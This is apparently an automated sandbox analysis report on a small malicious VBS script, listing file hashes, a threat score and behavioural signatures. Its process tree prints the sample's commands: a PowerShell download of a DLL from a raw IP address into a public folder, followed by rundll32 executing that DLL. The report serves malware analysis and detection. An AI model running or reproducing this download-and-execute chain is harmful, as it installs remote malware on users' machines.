Analysis
- max time kernel
149s - max time network
95s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
22/05/2026, 13:59
Static task
static1
Behavioral task
behavioral1
Sample
tmp88nv0u7x.vbs
Resource
win10v2004-20260513-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
tmp88nv0u7x.vbs
Resource
win11-20260513-en
6 signatures
150 seconds
General
- Target tmp88nv0u7x.vbs
- Size 1KB
- Sample260522-ractvafv7w
- SHA256 e7407a0fe469fda07809db9a264e4c423d9f740344abca7675e9e78a9ede9f3c
- MD5 1be17a0ac48cab72a10836953c8186b0
- SHA1 d5bdf81792cc2434d49bae66b1cc60027220298c
- SHA512 38a7e2121975a5ef80db59d81f3bca3fe845f4072a7b068d09707690b851b5e41ccf899ca7ff732ccb770528b772cdc2efadecf9d5a7bd34678d1c00053038f5
- TLSH T15B3141F5D4EFDC96A03021AAC3A07885A7523C50003F9FABF6A83E45254D649BD9C5AF
- MD5 SHA1 SHA512 TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 1 1816 powershell.exe -
pid Process 1816 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1816 powershell.exe 1816 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1816 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4940 wrote to memory of 1816 4940 WScript.exe 80 PID 4940 wrote to memory of 568 4940 WScript.exe 82
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tmp88nv0u7x.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://128.140.97.33/6fc0ob45c6.dll' -outfile 'c:\users\public\name.dll';2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1816
-
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer2⤵PID:568
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sxxk1t2s.bts.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH